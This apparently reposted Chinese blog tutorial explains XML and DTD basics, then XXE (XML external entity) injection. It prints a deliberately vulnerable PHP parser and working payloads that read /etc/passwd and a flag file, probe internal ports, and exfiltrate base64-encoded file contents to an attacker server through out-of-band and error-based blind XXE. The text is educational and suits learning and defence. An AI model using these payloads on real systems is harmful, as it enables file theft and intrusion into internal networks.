xxe漏洞,及xml
xxe漏洞
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
xml
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 被设计为传输和存储数据,其焦点是数据的内容。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 允许创作者定义自己的标签和自己的文档结构。
XML 是对 HTML 的补充。
XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。
对 XML 最好的描述是:
XML 是独立于软件和硬件的信息传输工具。
XML 文档形成一种树结构 <root> <child> <subchild>.....</subchild> </child> </root>
XML 标签对大小写敏感
XML 元素使用 XML 标签进行定义。
XML 标签对大小写敏感。在 XML 中,标签 <Letter> 与标签 <letter> 是不同的。
必须使用相同的大小写来编写打开标签和关闭标签:
在 XML 中,所有元素都必须彼此正确地嵌套
在 XML 中,一些字符拥有特殊的意义:<>&'" ,需要用实体引用来代替这些字符,如<。
XML 中的注释:<!-- This is a comment -->
在 XML 中,空格会被保留,而在HTML中多个连续的空格字符会被裁减(合并)为一个。
XML 的优势之一,就是可以经常在不中断应用程序的情况进行扩展,即使这个 XML 文档作者又向这个文档添加了一些额外的信息,应用程序也能赵傲xml当中的元素并且产生输出。
XML DTD:DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。
根据 DTD 来验证 XML:
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</Ffrom>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
XMLHttpRequest 能够帮助我们:
在不重新加载页面的情况下更新网页
在页面已加载后从服务器请求数据
在页面已加载后从服务器接收数据
在后台向服务器发送数据
网上的一个例子:
<html>
<body> <script type="text/javascript">
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET","cd_catalog.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML; document.write("<table border='1'>");
var x=xmlDoc.getElementsByTagName("CD");
for (i=0;i<x.length;i++)
{
document.write("<tr><td>");
document.write(x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue);
document.write("</td><td>");
document.write(x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue);
document.write("</td></tr>");
}
document.write("</table>");
</script> </body>
</html>
4,PCDATA PCDATA 的意思是被解析的字符数据(parsed character data)。 PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
5,CDATA CDATA 的意思是字符数据(character data)。 CDATA 是不会被解析器解析的文本。
了解了基础知识,可以看下xxe漏洞了: xxe也就是xml外部实体注入,DTD 可被成行地声明于 XML 文档中,作为一个外部引用,从而产生了xxe漏洞。 语法:<!DOCTYPE 根元素 [元素声明]>
实体引用:<!ENTITY 实体名 "实体值">

我们可以利用xxe来读取服务器上的本地文件:
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r($xml);
?>
我们利用构造好的xxe来进行读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [
<!ENTITY name SYSTEM "文件的读取路径">
]>
<resume>
<name> &name; </name>
</resume>
我们将这段payload进行合适的编码,在这里我们进行url编码,我们可以读取到文件。
blind xxe漏洞
某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
扫描端口:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test">
<author>ALICE</author>
<title>XML</title>
<category>XML</category>
<price>1.00</price>
<date>2001-05-06</date>
<description>&xxe;</description>
</core>
</catalog>
此时我们可以根据响应时间的长度强度进行判断,这个端口有没有开放。
基于报错的Blind XXE:基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
通过DTD窃取文件: <?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://xxx.xxx.vps.com/xxe.dtd"> ALICE XML XML 1.00 2001-05-06 &xxe; 此时服务器接收到我们的这个文件,他会向我们的这个网址发送请求来查找这个dtd文件,这里再总结一下参数实体。
参数实体是只能在DTD中定义和使用的实体,以 %为标志定义。
引用一个例子:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY normal "hello"> <!-- 内部普通实体 -->
<!ENTITY normal SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部普通实体 -->
<!ENTITY % para SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 -->
%para; <!-- 引用参数实体 -->
]>
<message>&normal;</message>
参数实体的嵌套定义:需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
<message>&normal;</message>
上面归纳完参数实体之后,我们还需要知道外部实体可以通过请求内部文件uri获得内部文件内容,利用file协议,即file://,我们可以获得文件的数据。
Blind OOB XXE
引入服务器DTD文件:前面已经知道了利用file://协议我们可以读取文件,同时参数实体也可以嵌套定义,所以我们写两个外部参数实体,前者利用file协议获取数据,后者利用ftp,http来请求我们的服务器,注意如果不用嵌套语句的话,他们就是同等级的参数实体了,xml不会对这类进行解析。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % files SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://myip/?a=%files;">
%send;
]>
上面是不会被解析的,但下面的嵌套就可以了。 <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
上述步骤为:
1. 利用file协议读取文件内容
2. 将/etc/passwd内容传递给了参数实体变量file上。
3. 使用嵌套将file的内容带上利用http协议发送请求。
4. 调用start参数实体,生成了<!ENTITY % send SYSTEM 'http://myip/?%file;'>的参数声明,即send。
5. 调用send参数实体,调用了files参数实体并请求了相关链接。
6. 放到实际环境当中:
7. 利用外部的DTD文件,可以放到自己的服务器上
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip:10001/?%file;'>">
%start;
8. 下面是我们请求的数据:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
- 两者放在一起那便是 <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip:10001/?%file;'>"> %start; %send; ]> 1234 经由php伪协议获取数据,经过base64编码的,代替了上文我们的file协议,接下来就很清楚了。
- 在我们的服务器可以查看到经过了base64编码的数据。这个就跟php伪协议有关了,他是经由过滤器的。
最后说一下为什么引入外部文件:在内部DTD集中,参数实体的引用不能存在于标记的声明中。这并不适用于外部的参数实体中,这意味着,协议本身就必须要求不能在内部的实体声明中引用参数。
Blind-XXE 引用本地DTD文件
如果目标主机的防火墙十分严格,有流量控制的时候,他可能不允许我们请求外网服务器dtd,但是我们可以利用本地dtd文件实现XXE。
在ubuntu系统当中存在这dtd文件/usr/share/yelp/dtd/docbookx.dtd
like:
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>
在实际情况中要进行转码:
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>
docbookx.dtd

可以看到有很多选项。
附:前端对xml文件的解析和渲染
1.利用ajax请求,请求的路径为xml文件,注意:需在有服务器的情况下,本次实例是利用node搭建的本地服务器,打开html文件。

2.在js中利用ajax请求xml

3.根据返回的数据,获取到xml文件的字符串,创建DOMParser对象,
用以解析字符串
4.解析完后直接获取相关dom遍历,渲染到页面
参考链接:https://www.freebuf.com/vuls/207639.html
https://blog.csdn.net/weixin_30394333/article/details/98312861
xxe漏洞,及xml的更多相关文章
- [Web安全] XXE漏洞攻防学习(上)
0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...
- XXE漏洞
原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码.当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取.系统命令执行.内网端口探测.攻击内网 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- xxe漏洞分析
xxe漏洞总结 xxe漏洞就是xml外部实体注入攻击,所以一定是针对xml编写的服务. xxe漏洞是把参数经过php输入流或者$HTTP_RAW_POST_DATA直接读入xml实体当中,参数可控且没 ...
- [WEB安全]XXE漏洞总结
目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 0x ...
- XXE漏洞介绍 & XXE漏洞攻击 & 修复建议
介绍XXE漏洞 XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是-种允许用户对自己的标记语 ...
- 浅入深出了解XXE漏洞
环境搭建 https://github.com/c0ny1/xxe-lab 为了更深入的理解,我准备理论和实际相结合的了解XXE! 浅谈XML 初识XML 一个好的代码基础能帮助你更好理解一类漏洞,所 ...
- 关于XXE漏洞
XXE漏洞 0x01.xxe是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 1.1xml定义 XML用于标记电子文件使其具有结构性的标记 ...
随机推荐
- 浅谈Docker(一)
注:由于别人写的太好了就转来基础介绍! 转自:http://www.infoq.com/cn/articles/docker-core-technology-preview Docker是PaaS供应 ...
- 必看!2020最新黑马JAVA 学习路线
https://www.fang1688.cn/2020/08/24/%e5%bf%85%e7%9c%8b%ef%bc%81java-%e5%ad%a6%e4%b9%a0%e8%b7%af%e7%ba ...
- 图解JAVA容器核心类库
JAVA容器详解 类继承结构图 HashMap 1. 对象的HashCode是用来在散列存储结构中确定对象的存储地址的. 2. 如果两个对象的HashCode相同,即在数组中的地址相同.而数组的元 ...
- Istio的流量管理(实操三)
Istio的流量管理(实操三) 涵盖官方文档Traffic Management章节中的egress部分.其中有一小部分问题(已在下文标注)待官方解决. 目录 Istio的流量管理(实操三) 访问外部 ...
- PyQt5+Caffe+Opencv搭建人脸识别登录界面
PyQt5+Caffe+Opencv搭建人脸识别登录界面(转载) 最近开始学习Qt,结合之前学习过的caffe一起搭建了一个人脸识别登录系统的程序,新手可能有理解不到位的情况,还请大家多多指教. 我的 ...
- WebApis中DOM操作的基本案例
1.1. 排他操作 1.1.1 排他思想 如果有同一组元素,我们想要某一个元素实现某种样式, 需要用到循环的排他思想算法: 所有元素全部清除样式(干掉其他人) 给当前元素设置样式 (留下我自己) 注意 ...
- 同事跳槽阿里P7,甩我一份微服务架构设计模式文档,看完我也去
给所有微服务架构开发者的忠告,我想对你们说: 第一,要记住微服务不是解决所有问题的万能“银弹”. 第二,编写整洁的代码和使用自动化测试至关重要,因为这是现代软件开发的基础. 第三,关注微服务的本质,即 ...
- layaair
LayaAir之设置反向遮罩镂空遮罩挖洞模式 https://blog.csdn.net/qq_20342915/article/details/100690786 Sprite--新手引导 http ...
- Activiti7 流程变量(理论)
什么是流程变量 流程变量在Activiti中是一个非常重要的角色,流程运转有时需要靠流程变量,业务系统和Activiti结合时少不了流程变量,流程变量就是Activiti在管理工作流时根据管理需要而设 ...
- php cookie及session
1.会话控制概括 1)http协议的缺陷 无状态,就是无记忆,不能让同一浏览器和服务器进行多次数据交换时,产生业务的连续性, 2)什么是会话控制 会话控制就是解决http无记忆缺陷的,能够==将数据持 ...